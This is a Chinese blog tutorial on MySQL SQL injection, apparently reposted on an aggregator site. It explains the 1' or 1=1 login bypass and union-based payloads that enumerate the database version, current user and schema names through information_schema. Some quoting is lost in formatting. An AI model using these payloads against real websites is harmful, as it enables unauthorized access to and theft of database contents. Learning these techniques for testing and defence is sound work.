首页 > 数据库技术 > 详细

MYSQL注入

时间:2021-08-14 15:05:52      阅读:17      评论:0      收藏:0      [点我收藏+]

SQL注入

 

Sql注入存在的条件:

1、具备与数据库交互的条件。

2、用户端可以控制输入内容。

3、没有对用户的输入内容做一定程度的过滤。

 

根据请求方式分类:

1GET方式请求注入:常见产生位置url

2Post方式请求注入:常见产生位置post包的请求实体。

 

根据注入点参数方式分类:

1、数字型:select uname , password from users where uid=$id

2、字符型:select uname , password from users where uid=$id

3、搜索型:select uname , password from users where name like %$id%

 

万能密码解析:

例子代码:1’ or 1=1 -- a

原理select * from users where user=$user’ and password=123456

1后面的闭合符号把上面的sql语句拆分了如下

解析select * from users where user=1’ or 1=1 -- a’ and password=123456

-- asql语句的注释符号,#也是。注释符号后面的sql语句一律不会执行。

整条语句无形之中变成了这样select * from users where user=1’ or 1=1

or的运算法则是只有两边都为假时才会变成假。

 

联合注入:

通过Order by查询出列数,如:1’ order by 5 -- - (二分法)

Union 联合,将多条查询语句的结果合并成一个

假设是5列,然后需要找显示位,如:1’ union select 1,2,3,4,5  -- -  

Order by获取列是为了union正常执行

找到显示位之后在显示位上写要查询的代码,这样结果才会显示出页面

:1’ union select 1,2,3,version(),5 -- - 4号显示位显示数据库版本信息  

 

1’ union select version(),user() -- -  

1‘ union select 1,schema_name from information_schema.schemata -- -

Information_schema:存放所有数据库信息,

Schemata:存放所有数据库的信息

Tables:存放数据库中的表的信息,包括表属于哪个数据库、表的类型等等...

Columns:存放表的列信息,包括表有多少个列,每个列的类型等等.....

Mysql->user存放当前数据库的账户信息

Database()当前数据库名字

Version() 数据库版本

User() 当前用户名

Show columns:展示列数

Schema_name:存放的是数据库的名字

以下语句只会显示一个数据库的名字:

?id=-1‘ union select 1,2,schema_name from information_schema.schemata-- -

以下语句只会显示所有数据库的名字:

-1‘unionselect1,2,(selectgroup_concat(0x7e,(schema_name),0x7e)frominformation_schema.schemata) -- -

 

 

 

MYSQL注入

原文:https://www.cnblogs.com/PatrickStar88888888/p/15140712.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!